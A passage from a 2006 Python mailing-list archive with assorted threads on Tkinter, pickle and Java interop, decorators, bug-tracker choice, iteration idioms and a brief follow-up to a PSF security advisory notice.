Ben replies above I should perhaps explain that I cancelled it having decided that its language was immoderate and unfair to Ben. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From fredrik at pythonware.com Tue Oct 31 03:30:56 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Tue, 31 Oct 2006 09:30:56 +0100 Subject: Tkinter Listbox string formatting question - how to kill a dancing snake ? In-Reply-To: <02a901c6fcbf$181c51a0$03000080@hendrik> References: <02a901c6fcbf$181c51a0$03000080@hendrik> Message-ID: Hendrik van Rooyen wrote: > Is there a way to format this so it will line up with *any* font ? > > I would prefer not to give up and use a fixed width font - it looks so > teletypish... sounds like contradicting requirements to me. instead of trying to force the listbox to behave like a multicolumn widget, maybe you could switch to another widget? some alternatives include a Text widget (you have to roll your own selection logic) bwidgets multicolumn ListBox: http://tkinter.unpythonic.net/bwidget/ tktable: http://tktable.sourceforge.net/ something based on the wck (that's what I'd would use myself): http://effbot.org/zone/wck-4.htm and perhaps there's something in Pmw: http://pmw.sourceforge.net From hg at nospam.com Sat Oct 14 12:06:03 2006 From: hg at nospam.com (hg) Date: Sat, 14 Oct 2006 11:06:03 -0500 Subject: Can I set up a timed callback without Tkinter or twisted or something? In-Reply-To: References: Message-ID: Hendrik van Rooyen wrote: > Hi, > > I want to do the equivalent of the after thingy in tkinter - setting up in > effect a timed call back. > > My use case is as a "supervisory" timer - I want to set up an alarm, which I > want to cancel if the expected occurrence occurs - but its not a GUI app. > > My googling gets a lot of stuff pointing to optparse... > > Does the standard lib have anything like this? > > - Hendrik > http://python.active-venture.com/lib/timer-objects.html From mail at microcorp.co.za Fri Oct 13 02:45:10 2006 From: mail at microcorp.co.za (Hendrik van Rooyen) Date: Fri, 13 Oct 2006 08:45:10 +0200 Subject: Wing IDE 2.1.3 released References: Message-ID: <02b501c6ee98$407fe100$03000080@hendrik> "Wingware Announce" wrote: 8<--------------------------------------------------------------- > * Professional quality code editor > * Visual Studio, VI/Vim, Emacs, and Brief key bindings Can I copy paste columns as in Brief? Do the Brief Macros work? 100% ? - Hendrik From ziga.seilnacht at gmail.com Fri Oct 13 04:02:57 2006 From: ziga.seilnacht at gmail.com (Ziga Seilnacht) Date: 13 Oct 2006 01:02:57 -0700 Subject: Efficiently iterating over part of a list References: Message-ID: <1160726577.149355.180340@i3g2000cwc.googlegroups.com> Steven D'Aprano wrote: [snip] > The important thing to notice is that alist[1:] makes a copy. What if the > list has millions of items and duplicating it is expensive? What do people > do in that case? > > Are there better or more Pythonic alternatives to this obvious C-like > idiom? > > for i in range(1, len(alist)): > x = alist[i] for x in itertools.islice(alist, 1, len(alist)): HTH Ziga From steve at holdenweb.com Thu Oct 5 02:20:35 2006 From: steve at holdenweb.com (Steve Holden) Date: Thu, 05 Oct 2006 07:20:35 +0100 Subject: Python to use a non open source bug tracker? In-Reply-To: References: <22pUg.132825$zy5.1820633@twister1.libero.it><7xk63h232z.fsf@ruckus.brouhaha.com> <45240E19.3040000@v.loewis.de> <87lknvelb3.fsf@benfinney.id.au> Message-ID: Terry Reedy wrote: > "Ben Finney" wrote in message > news:87lknvelb3.fsf at benfinney.id.au... > >>The whole point of moving *from* SF *to* another bug tracker is to >>improve the situation, surely. > > > The current situation is that the limitations and intermittant failures of > the SF tracker sufficiently impede the Python development process that some > people were motivated to do the work to find a better alternative. > > >>You already seem to acknowledge that using free-software tools to >>develop Python is desirable. > > > The committee already said so by saying that with other things equal, it > would choose Roundup. > > >>I don't see why you're being so obtuse > > > I think name calling is out of line here. > Correct, besides which Ben seems to feel people are disagreeing on the desirability of using open source software when in fact they are mostly disagreeing about the *practicality* in this particular instance. Compellingly absent from most critics' output is a statement to the effect that they will volunteer their time to encourage the adoption of Roundup, which is excluded only by the absence of a support infrastructure. Time to shit or get off the pot, I'd say. regards Steve -- Steve Holden +44 150 684 7255 +1 800 494 3119 Holden Web LLC/Ltd http://www.holdenweb.com Skype: holdenweb http://holdenweb.blogspot.com Recent Ramblings http://del.icio.us/steve.holden From edreamleo at charter.net Wed Oct 4 09:40:17 2006 From: edreamleo at charter.net (Edward K. Ream) Date: Wed, 4 Oct 2006 08:40:17 -0500 Subject: How to ask sax for the file encoding Message-ID: Following the usual cookbook examples, my app parses an open file as follows:: parser = xml.sax.make_parser() parser.setFeature(xml.sax.handler.feature_external_ges,1) # Hopefully the content handler can figure out the encoding from the element. handler = saxContentHandler(c,inputFileName,silent) parser.setContentHandler(handler) parser.parse(theFile) Can anyone tell me how the content handler can determine the encoding of the file? Can sax provide this info? Thanks! Edward -------------------------------------------------------------------- Edward K. Ream email: edreamleo at charter.net Leo: http://webpages.charter.net/edreamleo/front.html -------------------------------------------------------------------- From joshbloom at gmail.com Fri Oct 6 12:00:46 2006 From: joshbloom at gmail.com (Josh Bloom) Date: Fri, 6 Oct 2006 09:00:46 -0700 Subject: help on pickle tool In-Reply-To: <1160133054.271586.98900@c28g2000cwb.googlegroups.com> References: <1160110375.999662.268560@k70g2000cwa.googlegroups.com> <1160124108.779860.236940@i3g2000cwc.googlegroups.com> <1160125387.706686.70090@h48g2000cwc.googlegroups.com> <1160126999.826707.75010@i42g2000cwa.googlegroups.com> <1160133054.271586.98900@c28g2000cwb.googlegroups.com> Message-ID: If you must build your web ui in Java, then Jython is probably the best way for you to go. Inside of your java code you need to create a Jython instance. Then you can use the Jython pickle module to deserialize the data you are receiving. Last I remember Jython was equivalent to about CPython 2.2 so you might have an incompatibility between the 2 versions of pickle (just guessing on that, you'll have to try it) -Josh On 6 Oct 2006 04:10:54 -0700, virg <06virg at gmail.com> wrote: > > Hi, > > Yes, using python client we are able deserialize data using > > r = pickle.loads(result). > > where result is a response from the server and r is a dictionary after > deserialization. > For serialisation at the server written in python using > pickle.dumps(result, 2) > > Now we are developing web based Client using java. So we are writing > client in java. If server and client are in python we dont see any > problems since we are using same serialisation tool "pickle". Now we > have seen problems because we are writing client in java. we did not > find equivalent function on java for this tool pickle. If i use > standard java desrialisation functions i am getting error as invalid > header becasue of incompatibility between python and java. Please help > me if you have any clue > > regards, > - Virg > > hanumizzle wrote: > > On 6 Oct 2006 02:29:59 -0700, virg <06virg at gmail.com> wrote: > > > Yes your are right. I will send a dictionary object from the server to > > > the client. > > > I already have client which is written in python. But we are migrating > > > the python client which is a command line tool to Web UI client > > > (java). > > > > Please explain 'Web UI'. Can Python perform an equivalent function? > > > > -- Theerasak > > -- > http://mail.python.org/mailman/listinfo/python-list > -------------- next part -------------- An HTML attachment was scrubbed... URL: From johnzenger at gmail.com Thu Oct 19 17:12:29 2006 From: johnzenger at gmail.com (johnzenger at gmail.com) Date: 19 Oct 2006 14:12:29 -0700 Subject: Decorators and how they relate to Python - A little insight please! References: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> Message-ID: <1161292349.920683.196850@h48g2000cwc.googlegroups.com> When you want to repeatedly apply a certain ALGORITHM to arbitrary sets of DATA, you write a FUNCTION. When you want to add a certain BEHAVIOR to arbitrary sets of FUNCTIONS, you write a DECORATOR. An excellent use of decorators is in Django, the web programming framework. Django keeps track of usernames and passwords for you. Occasionally, there are some things on your web site that you only want to only let people who are logged in do (like, say, leave a comment on your blog). Instead of making you begin every such function with "if user_is_logged in:" or some similar abomination, Django lets you just put a @require_login decorator before that function. Pretty spiffy. Jerry wrote: > I have just started to do some semi-serious programming (not one-off > specialized scripts) and am loving Python. I just seem to get most of > the concepts, the structure, and the classes (something I struggled > with before in other languages). I've seen many concepts on the web > (i.e. stacks, queues, linked lists) and can usually understand them > pretty well (event if I don't always know when to use them). Now I've > come accross decorators and even though I've read the PEP and a little > in the documentation, I just don't get what they are or what problem > they are trying to solve. Can anyone please point me to a general > discussion of decorators (preferrably explained with Python)? > > Thanks, > Jerry From g.brandl-nospam at gmx.net Tue Oct 10 17:44:04 2006 From: g.brandl-nospam at gmx.net (Georg Brandl) Date: Tue, 10 Oct 2006 23:44:04 +0200 Subject: OT: Sarcasm and irony In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> Message-ID: Steve Holden wrote: >> is that '....in America' meant to be an addendum to what I said, as in >> this is the situation in America and not elsewhere? If so I should >> probably point out that I am writing from Denmark and was thinking >> specifically of a situation where a dane told me they were being >> 'ironic' (when what they meant, obviously, was that they were being >> ironical), when I asked what they meant by that they said "saying the >> opposite of what I mean" I responded: "so, in other words, what you >> mean by irony is 'sarcasm'" She responded "yes, that's what it means" >> > Well, my assertion about America clearly doesn't preclude to possibility > of confusion on the part of the Danish too :-). You are right about the > general degradation of the (understanding of the) meaning of irony. > People are just too damned sloppy with language nowadays. Let me tell you: There are times when I'm really glad that as a German, I'm not supposed to possess any sense of humour at all. warning-this-post-may-be-ironic-ly yours, Georg From spe.stani.be at gmail.com Mon Oct 30 06:06:30 2006 From: spe.stani.be at gmail.com (SPE - Stani's Python Editor) Date: 30 Oct 2006 03:06:30 -0800 Subject: wxPython - which is the better sizer to use with notebook In-Reply-To: <1162196851.786053.162930@k70g2000cwa.googlegroups.com> References: <1162196851.786053.162930@k70g2000cwa.googlegroups.com> Message-ID: <1162206390.240665.230160@b28g2000cwb.googlegroups.com> Chris Brat schreef: > Hi, > > What sizers do people use to > - contain the notebook control in a Frame and, > - contain the contents of a single page of the notebook. > > At the moment Im using a GridBagSizer for both but this seems to be > overkill. > Is a BoxSizer a better option? Yes, use box sizer if you have to place only one control or when you need to place a row or column of controls. Stani -- http://pythonide.stani.be From donovan at rscheme.org Tue Oct 31 09:20:12 2006 From: donovan at rscheme.org (Donovan Kolbly) Date: Tue, 31 Oct 2006 14:20:12 GMT Subject: Missing _init_types in MS VisualStudio 2005 (PCBuild8) Message-ID: Hi folks, I was trying to build Python using MS VisualStudio 2005 (VC++ 8.0) according to the instructions in PCBuild8/ and got a link error in config.obj referencing _init_types. I (barely) know enough about VS 2005 to add files to the project, so I added Modules/_typesmodule.c to the pythoncore subproject, and that seemed to fix it -- I can now build the python executable. -- --Donovan From python.list at tim.thechases.com Tue Oct 17 13:17:52 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Tue, 17 Oct 2006 12:17:52 -0500 Subject: loop iterators? In-Reply-To: <1161104511.877387.217410@h48g2000cwc.googlegroups.com> References: <1161104511.877387.217410@h48g2000cwc.googlegroups.com> Message-ID: <45351040.9090907@tim.thechases.com> > l = ['a','b','c'] > for e in l: > print l, i > i = i + 1 > > Is there a way to get rid of the i processing in this script? > Sorry I'm still trying to learn python tricks here... for i, e in enumerate(l): print l, i -tkc From anthony at python.org Thu Oct 12 15:51:56 2006 From: anthony at python.org (Anthony Baxter) Date: Fri, 13 Oct 2006 05:51:56 +1000 Subject: SECURITY ADVISORY [PSF-2006-001] Buffer overrun in repr() for UCS-4 encoded unicode strings In-Reply-To: <200610121732.00587.anthony@python.org> References: <200610121732.00587.anthony@python.org> Message-ID: <200610130552.07812.anthony@python.org> On Thursday 12 October 2006 17:31, Anthony Baxter wrote: > SECURITY ADVISORY [PSF-2006-001] > Buffer overrun in repr() for UCS-4 encoded unicode strings > > http://www.python.org/news/security/PSF-2006-001/ As a few people noted in email to me - the patch directory was not _quite_ correct on the website. You have my complete apologies for this - I've updated the website, and it should be all good now. Thanks! Anthony. -------------- next part -------------- A non-text attachment was scrubbed... Name: not available Type: application/pgp-signature Size: 198 bytes Desc: not available URL: From fredrik at pythonware.com Wed Oct 25 01:56:18 2006 From: fredrik at pythonware.com (Fredrik Lundh) Date: Wed, 25 Oct 2006 07:56:18 +0200 Subject: Want to reduce steps of an operation with dictionaries In-Reply-To: <87bqo1nf70.fsf@benfinney.id.au> References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> <87bqo1nf70.fsf@benfinney.id.au> Message-ID: Ben Finney wrote: >> How can I do this with one line of instruction? > > Why one line? > > As a general piece of advice, try writing dumb, obvious code that > actually does the transformation you want, and then let us see > that. Don't try to compress things into fewer lines unless that > actually makes it clearer to read. I was about to suggest adding something along these lines to "import this", but then I realized that it had to be written on one line to fit into that module, so I dropped the idea. From carsten at uniqsys.com Wed Oct 4 09:03:26 2006 From: carsten at uniqsys.com (Carsten Haese) Date: Wed, 04 Oct 2006 09:03:26 -0400 Subject: Instantiating an object when the type is only known at runtime In-Reply-To: <1159913971.260327.270750@b28g2000cwb.googlegroups.com> References: <1159883162.906612.292870@c28g2000cwb.googlegroups.com> <1159913971.260327.270750@b28g2000cwb.googlegroups.com> Message-ID: <1159967006.18693.16.camel@dot.uniqsys.com> On Tue, 2006-10-03 at 18:19, Samuel wrote: > Thanks, that's what I was looking for. > > > >>> m = __import__( "StringIO" ) > > >>> x = getattr( m, "StringIO" )() > > >>> x > > > > >>> > > For the records: If the module is already loaded, this also works: > > if my_type_is_not_yet_loaded: > module = __import__(type) > obj = getattr(module, type) > else: > obj = globals().get(type) > resource = obj(my_arg1, my_arg2) You seem to be under the impression that importing an already imported module is a hideously expensive operation that must be avoided at all costs. It's not. If you import an already imported module, python simply returns the module object from sys.modules without executing any of the module's code. Your code will be much easier to read if you eliminate the "my_type_is_not_yet_loaded" check, whatever that may be under the hood, and always perform the __import__. It's also likely to be at least as fast, but I couldn't run a timing comparison even if I wanted to because you didn't post working code. -Carsten From bignose+hates-spam at benfinney.id.au Wed Oct 25 02:12:49 2006 From: bignose+hates-spam at benfinney.id.au (Ben Finney) Date: Wed, 25 Oct 2006 16:12:49 +1000 Subject: Eschew obfuscation (was: Want to reduce steps of an operation with dictionaries) References: <1161736179.467075.307030@m73g2000cwd.googlegroups.com> <87bqo1nf70.fsf@benfinney.id.au> Message-ID: <877iyoordq.fsf_-_@benfinney.id.au> Fredrik Lundh writes: > Ben Finney wrote: > > >> How can I do this with one line of instruction? > > > > As a general piece of advice, [...] Don't try to compress things > > into fewer lines unless that actually makes it clearer to read. > > I was about to suggest adding something along these lines to "import > this", but then I realized that it had to be written on one line to > fit into that module, so I dropped the idea. How about: Lines of code are not a scarce resource; use as many as you need. -- \ "Outside of a dog, a book is man's best friend. Inside of a | `\ dog, it's too dark to read." -- Groucho Marx | _o__) | Ben Finney From hanumizzle at gmail.com Fri Oct 6 23:34:52 2006 From: hanumizzle at gmail.com (hanumizzle) Date: Fri, 6 Oct 2006 23:34:52 -0400 Subject: Recursive descent algorithm able to parse Python? In-Reply-To: <4onlotFfg0l5U1@uni-berlin.de> References: <1159471326.663651.110690@h48g2000cwc.googlegroups.com> <4o2ugcFcm4npU1@uni-berlin.de> <4o47o7Fcu386U1@uni-berlin.de> <4onlotFfg0l5U1@uni-berlin.de> Message-ID: <463ff4860610062034l5cd25d6et33a951853bc34156@mail.gmail.com> On 10/6/06, Diez B. Roggisch wrote: > Lawrence D'Oliveiro schrieb: > > In message <4o47o7Fcu386U1 at uni-berlin.de>, Diez B. Roggisch wrote: > > > >> I have to admit that I have difficulties to compare LR(k) to recursive > >> descent, but the fact that the latter contains backtracking makes it at > >> least more powerful than LL(k) > > > > LR(k) is more powerful than LL(k). > > I know _that_, the point was that recursive descent is more power full > than LL(k) Correct me if I'm wrong, but recursive descent parsers are top-down, yes? Parse::RecDescent in Perl is a top-down parser. It can even do some context-sensitive grammars and can almost certainly handle Python. Is Python context-free? Not sure. Does left parenthesis opening either a function call (x) or an empty tuple () count as context-sensitive, for instance? Or can () be considered a terminal symbol unto itself? I am new to most of this :) -- Theerasak From rasmussen.bryan at gmail.com Tue Oct 10 04:50:53 2006 From: rasmussen.bryan at gmail.com (bryan rasmussen) Date: Tue, 10 Oct 2006 10:50:53 +0200 Subject: OT: Sarcasm and irony In-Reply-To: References: <1160346615.575882.133580@h48g2000cwc.googlegroups.com> <4out4fFgdgouU1@individual.net> <4ov1acFgfmpmU1@uni-berlin.de> <4ov2eeFgh8t6U1@individual.net> <87y7rp9iyi.fsf_-_@benfinney.id.au> <463ff4860610092255h5d991d44yf4c5cae05da9d288@mail.gmail.com> <3bb44c6e0610100030w77cf39a8i404f152ea1a3f3d6@mail.gmail.com> Message-ID: <3bb44c6e0610100150v63991f41i6e0233b5b8088842@mail.gmail.com> On 10/10/06, Steve Holden wrote: > bryan rasmussen wrote: > >>>>E. g. [in Java there is] no operator overloading, but "+" > >>>>concatenation of strings. What if you'd like to implement your own > >>>>string-derived class? Ah, never mind. Operator overloading is > >>>>bad(tm) ;) <= Irony, definitely > >>> > >>>Definitely? That one strikes me more as sarcasm. > >> > > > > Well irony originally started out as a very specific concept of the > > Ancient Greek drama, this is what we nowadays refer to as Dramatic > > Irony but it is the original irony. Irony then became a literary > > concept for plot elements similar to Dramatic irony in books, or a > > weaker type of the Dramatic irony found in the plays of Shakespeare. > > People then noticed that life was at times ironic in the literary > > manner. Nowadays the use of the word irony has degenerated to by > > pretty much synonymous with sarcasm. > > > ... in America. It's well-known among Brits that Americans don't > understand irony. They can be pretty oblique when it come to sarcasms > too, for that matter. is that '....in America' meant to be an addendum to what I said, as in this is the situation in America and not elsewhere? If so I should probably point out that I am writing from Denmark and was thinking specifically of a situation where a dane told me they were being 'ironic' (when what they meant, obviously, was that they were being ironical), when I asked what they meant by that they said "saying the opposite of what I mean" I responded: "so, in other words, what you mean by irony is 'sarcasm'" She responded "yes, that's what it means" She had a degree in communications. I also know a few number of brits. The quality of their wit is not as yet so rarified that I must strain after its meaning. Cheers, Bryan Rasmussen From zhaodapu at gmail.com Tue Oct 10 07:24:40 2006 From: zhaodapu at gmail.com (zdp) Date: 10 Oct 2006 04:24:40 -0700 Subject: How to share session with IE Message-ID: <1160479479.825746.320610@k70g2000cwa.googlegroups.com> Hello! I need to process some webpages of a forum which is powered by discuz!. When I login, there are some options about how long to keep the cookies: forever, month, week, et al. If I choose forever, I don't need to login each time, and When I open the internet explorer I can access any pages directly. Some urls of the pages like: http://www.somesite.com/bbs/viewthread.php?tid=12345&extra=page%3D1 However, now I need to process some pages by a python program. When I use urllib.urlopen(theurl), I can only get a page which told me I need login. I think It's reasonable, becuase I wasn't in a loggined session which as IE did. So how can I do my job? I want to get the right webpage by the url. I have search answers from the groups but didn't get clear answer. Should I use win32com or urllib? Any reply or information is appreciate. Hope I put it clear. Dapu From paul at boddie.org.uk Wed Oct 11 08:39:01 2006 From: paul at boddie.org.uk (Paul Boddie) Date: 11 Oct 2006 05:39:01 -0700 Subject: Python component model References: <1160562945.079609.98640@m7g2000cwm.googlegroups.com> Message-ID: <1160570340.981862.212380@c28g2000cwb.googlegroups.com> Fredrik Lundh wrote: > Paul Boddie wrote: > > > Meanwhile, the Web programming standardisation scene remains > > stagnant. > > Aw, come on. The Python web programming standardisation wars are over, for now. Well, that's just another way of saying that the scene remains stagnant, because I don't see any winners. > There's Django, and there's TurboGears, and there's Zope 2/3, all with slightly different > approaches, and slightly different target audiences. Unless you're doing really odd things, > one of these will be more than good enough for your application. I didn't deny that various frameworks would be good enough for various things (indeed, I didn't even mention them), and I personally think that Django seems like a decent enough solution, even though it (or its documentation) focuses on ORM+RDBMS-based applications - a focus that wouldn't suit a number of applications I've worked on. The thing is that people want a coherent message about Python and Web programming. It doesn't have to be "use only this and nothing else" but it should help them make a good but quick decision. For a long time people expected to get this coherent message by looking for solutions provided with the Python distribution itself - after all, the standard library has provided other useful "batteries" over the years - but all we had was the cgi module and some barely maintained servers. Indeed, the standard library looks pretty incoherent itself these days. But there's a huge gap between what's on offer via the standard library and the most popular full-stack frameworks, and the choice of starting with WSGI middleware or swallowing Zope development whole, for example, must be something of a demotivator for newcomers - why else do people still ask CGI-related questions on comp.lang.python? What's interesting is that one of the Django pioneers advocated better standards way back in 2003 [1], possibly indicating a preference for the "rising tide floats more boats" philosophy that would help Python itself become a more popular tool for Web development, rather than some framework doing a Zope and, in a few years, having its community members argue amongst themselves about why Python developers don't like them any more. It'd be interesting to hear whether the same attitude still holds sway after Django's more recent success. > (as for WSGI, it's plumbing. You can of course build fun things from spare parts and > plumbing, and there are really interesting things going on in certain research labs, as > usual, but if you want turn-key stuff, pick one of the big three.) After seeing WSGI being elevated to non-plumbing (since plumbing is just stuff that helps other stuff to work, not something you mess with on a daily basis), I think the current strategy with respect to "floating more boats" is to pretend that WSGI is all you need. In which case, we might as well start looking at documentation like this instead... http://www.erlang.org/doc/doc-5.5.1/lib/inets-4.7.5/doc/html/mod_esi.html Paul [1] http://mail.python.org/pipermail/web-sig/2003-October/000003.html From harry.g.george at boeing.com Wed Oct 4 01:08:28 2006 From: harry.g.george at boeing.com (Harry George) Date: Wed, 4 Oct 2006 05:08:28 GMT Subject: Python to use a non open source bug tracker? - Trac? References: <22pUg.132825$zy5.1820633@twister1.libero.it> <2sadneD3XpY0xb_YnZ2dnUVZ_q2dnZ2d@speakeasy.net> Message-ID: "Fredrik Lundh" writes: > Steve Holden wrote: > > > But sadly people are much happier complaining on c.l.py than exerting > > themselves to support the community with an open source issue tracker. > > you're not on the infrastructure list, I hear. python.org could still need a > few more roundup volunteers, but it's not like nobody's prepared to con- > tribute manhours. don't underestimate the community. > > > > > I'm not on the infrastructure list either. But I wonder why it is "Roundup or else non-python COTS"? I gave up on Roundup a while ago due to too many crashes. I'm now using Trac: a) Open Source b) Python c) Adequate functionality (for me at least) http://trac.edgewall.org/ I'm not trying to "sell" Trac, but I would like to know what drove the developers away from it. -- Harry George PLM Engineering Architecture From stephane at harobed.org Fri Oct 6 03:50:10 2006 From: stephane at harobed.org (=?ISO-8859-1?Q?KLEIN_St=E9phane?=) Date: Fri, 06 Oct 2006 09:50:10 +0200 Subject: Package to handle table text render (handle space or tab between the columns) ? Message-ID: <45260ab2$0$25946$ba4acef3@news.orange.fr> Hi, I would like print tabular values on terminal (stdout). Are there package to handle table text render ? Thanks for your help, Stephane From jweida at gmail.com Thu Oct 19 14:04:24 2006 From: jweida at gmail.com (Jerry) Date: 19 Oct 2006 11:04:24 -0700 Subject: Decorators and how they relate to Python - A little insight please! Message-ID: <1161281064.704992.100410@e3g2000cwe.googlegroups.com> I have just started to do some semi-serious programming (not one-off specialized scripts) and am loving Python. I just seem to get most of the concepts, the structure, and the classes (something I struggled with before in other languages). I've seen many concepts on the web (i.e. stacks, queues, linked lists) and can usually understand them pretty well (event if I don't always know when to use them). Now I've come accross decorators and even though I've read the PEP and a little in the documentation, I just don't get what they are or what problem they are trying to solve. Can anyone please point me to a general discussion of decorators (preferrably explained with Python)? Thanks, Jerry From bj_666 at gmx.net Tue Oct 10 16:32:28 2006 From: bj_666 at gmx.net (Marc 'BlackJack' Rintsch) Date: Tue, 10 Oct 2006 22:32:28 +0200 Subject: what is this UnicodeDecodeError:....? References: <1160504403.384348.253650@k70g2000cwa.googlegroups.com> Message-ID: In <1160504403.384348.253650 at k70g2000cwa.googlegroups.com>, kath wrote: > To identify the date field in different files I have created a file > called _globals where I keep all aliases for DATE in a array called > 'alias_DATE'. > > Array alias_DATE looks like, > > alias_DATE=['TRADEDATE', 'Accounting Date', 'Date de VL','Datum', > 'Kurs-datum', 'Date', 'Fecha Datos', 'Calculation Date', 'ClosingDate', > 'Pricing Date', 'NAV Date', 'NAVDate', 'NAVDATE', 'ValuationDate', > 'Datestamp', 'Fecha de Valoraci?n', 'Kurs-','datum', > """Kurs-\ndatum""", "Kurs-\ndatum"] > > Now I want the index of the column where date is there. I followed the > with followin code. > > >>>> b=xlrd.open_workbook('Santander_051206.xls') >>>> sh=b.sheet_by_index(0) >>>> sh.cell_value(rowx=0, colx=11) > u'Fecha de Valoraci\xf3n' >>>> val=sh.cell_value(rowx=0, colx=11) >>>> val > u'Fecha de Valoraci\xf3n' >>>> print val > Fecha de Valoraci?n >>>> import _globals # the file where I have stored my 'alias_DATE' array >>>> _globals.alias_DATE.index(val) > Traceback (most recent call last): > File "", line 1, in ? > UnicodeDecodeError: 'ascii' codec can't decode byte 0xf3 in position > 17: ordinal not in range(128) >>>> > > Though I have matching value in the array, why I am getting this error. Because you are trying to compare a unicode string `val` with a byte string in the list. The unicode string will be converted to a byte string for this comparison with the default encoding: ASCII. But '?' is not contained in ASCII. > Can any one please tell me why is this error, and how to get rid of > this error. Because I have some files which containing some more > special characters. Either use an unicode string in the list search too or explicitly encode the unicode string `val` with the appropriate encoding before using it to search the list. Ciao, Marc 'BlackJack' Rintsch From tejovathi.p at gmail.com Fri Oct 13 21:59:14 2006 From: tejovathi.p at gmail.com (Teja) Date: 13 Oct 2006 18:59:14 -0700 Subject: COM error Message-ID: <1160791154.186493.167980@f16g2000cwb.googlegroups.com> What is "ValueError: argument is not a COM object" ? I get this error when I try to pass a COM object to a thread. Any pointers???? Thanks Teja From rrr at ronadam.com Thu Oct 19 14:59:52 2006 From: rrr at ronadam.com (Ron Adam) Date: Thu, 19 Oct 2006 13:59:52 -0500 Subject: invert or reverse a string... warning this is a rant In-Reply-To: References: <7iNZg.117$1n3.3352@news.tufts.edu> <1161283281.065339.290070@i3g2000cwc.googlegroups.com> Message-ID: <6_PZg.6752$fl.6399@dukeread08> James Stroud wrote: > Of course, I think str.join can operate on iterators, as Paul Rubin > suggests: > > > print ''.join(reversed(x)) > > This latter approach still seems a little clunky, though. > > James Slices can be named so you could do... >>> reverser = slice(None, None, -1) >>> >>> 'abcdefg'[reverser] 'gfedcba' Ron From python.sam at googlemail.com Sun Oct 1 18:27:52 2006 From: python.sam at googlemail.com (sam) Date: 1 Oct 2006 15:27:52 -0700 Subject: how to reuse class deinitions? Message-ID: <1159741672.092963.190270@m73g2000cwd.googlegroups.com> hello all, pretty straightforward question here, i think. i'm experimenting with classes and have written a File class that looks like it's worth keeping for future use. however, i cannot work out where to put it for this purpose or how to get it in. i figured i'd try a bit of (un)inspired guesswork by putting it in my module folder, appending sys.path to tell the interpreter where this was, and importing it like a module. probably don't need to tell you that that didn't work, but i'm drawing a blank in the tutorial and not getting any luck in the archives here. maybe i'm just not searching with the right words. it's late here and my brain's switching off... cutting and pasting it into the interpreter is a bit of a bore. any help? much appreciated in advance, sam PS i've just reached first base with classes, and i think i'm starting to see what the big deal is about OOP. it's like someone's turned a light on. From grahn+nntp at snipabacken.dyndns.org Sun Oct 1 04:41:06 2006 From: grahn+nntp at snipabacken.dyndns.org (Jorgen Grahn) Date: 1 Oct 2006 08:41:06 GMT Subject: Is this a bug? Python intermittently stops dead for seconds References: Message-ID: On Sun, 01 Oct 2006 07:13:25 GMT, Giovanni Bajo wrote: > charlie strauss wrote: > >> Below is a simple program that will cause python to intermittently >> stop executing for a few seconds. it's 100% reproducible on my >> machine. > > Confirmed with Python 2.4.2 on Windows. And Python 2.3.5 on Linux, amd64. In fact, it causes heavy swapping so it will disrupt other processes, too. I didn't read the code, stupid as I am, but I trust that the behavior doesn't match what the code actually tries to do. /Jorgen -- // Jorgen Grahn R'lyeh wgah'nagl fhtagn! From eldiener_no_spam_here at earthlink.net Mon Oct 9 18:18:37 2006 From: eldiener_no_spam_here at earthlink.net (Edward Diener No Spam) Date: Mon, 09 Oct 2006 22:18:37 GMT Subject: Python component model In-Reply-To: References: Message-ID: <1VzWg.7212$Y24.1666@newsread4.news.pas.earthlink.net> Robert Kern wrote: > Edward Diener No Spam wrote: > >> There's nothing wrong with Python's introspection. In fact Python's >> facilities in this area and its support for metadata are stronger than >> any of these other languages ! However there is no common component >> model which specifies that X is a "property" or Y is an "event" of a >> Python class which can be visually manipulated at design-time and >> automagically set at run-time, so that any given Python RAD visual >> environment will treat a Python class, specified as a component, in >> exactly the same way. Also in these other languages, a component is >> different from a class in that a component is recognized in a >> particular way, often so that the component can interact if necessary >> with its container and/or visual site. > > You'll definitely want to take a look at Enthought's Traits (disclaimer: > I work for Enthought). I'm supposed to be on vacation now, so I'm not > going to give you the full rundown of Traits and Traits UI, so I'm > simply going to point you to the page we have about it: > > http://code.enthought.com/traits/ It looks as if traits is an attempt to create a "property" in the component terminology which I originally specified. I will take a look at it. > > You can talk to the rest of the Enthought crew on the enthought-dev > mailing list if you have any questions: > > https://mail.enthought.com/mailman/listinfo/enthought-dev Already subscribed. Thanks ! From wildemar at freakmail.de Wed Oct 4 18:02:51 2006 From: wildemar at freakmail.de (Wildemar Wildenburger) Date: Thu, 05 Oct 2006 00:02:51 +0200 Subject: A Universe Set In-Reply-To: References: <1159933937.606857.173770@k70g2000cwa.googlegroups.com> Message-ID: <45242F8B.5070008@freakmail.de> Jorgen Grahn wrote: > - the wildcard object, which compares equal to everything else > - infinite xrange()s > - the black hole function 'def f(*args): pass' > - the identity function 'def f(x): return x' Any use cases for these? From python.list at tim.thechases.com Wed Oct 25 15:28:11 2006 From: python.list at tim.thechases.com (Tim Chase) Date: Wed, 25 Oct 2006 14:28:11 -0500 Subject: question about True values In-Reply-To: References: Message-ID: <453FBACB.8050403@tim.thechases.com> > I'm a little confused. Why doesn't s evaluate to True in the first part, > but it does in the second? Is the first statement something different? > > >>> s = 'hello' > >>> s == True > False > >>> if s: > print 'hi' The "if s" does an implicit (yeah, I know, "explicit is better than implicit") conversion to bool, like if bool(s): And as such, you'll find that bool(s) == True You can learn more at http://docs.python.org/lib/truth.html where you'll see that it's not really exactly a bool() call, but that strings are a special case listed here. And if not, they also have a __len__ method which would return zero/non-zero in the even that strings weren't handled, making the "actual" test (if strings weren't special-cased) (s.__len__() <> 0) == True -tkc From nogradi at gmail.com Sun Oct 29 14:15:11 2006 From: nogradi at gmail.com (Daniel Nogradi) Date: Sun, 29 Oct 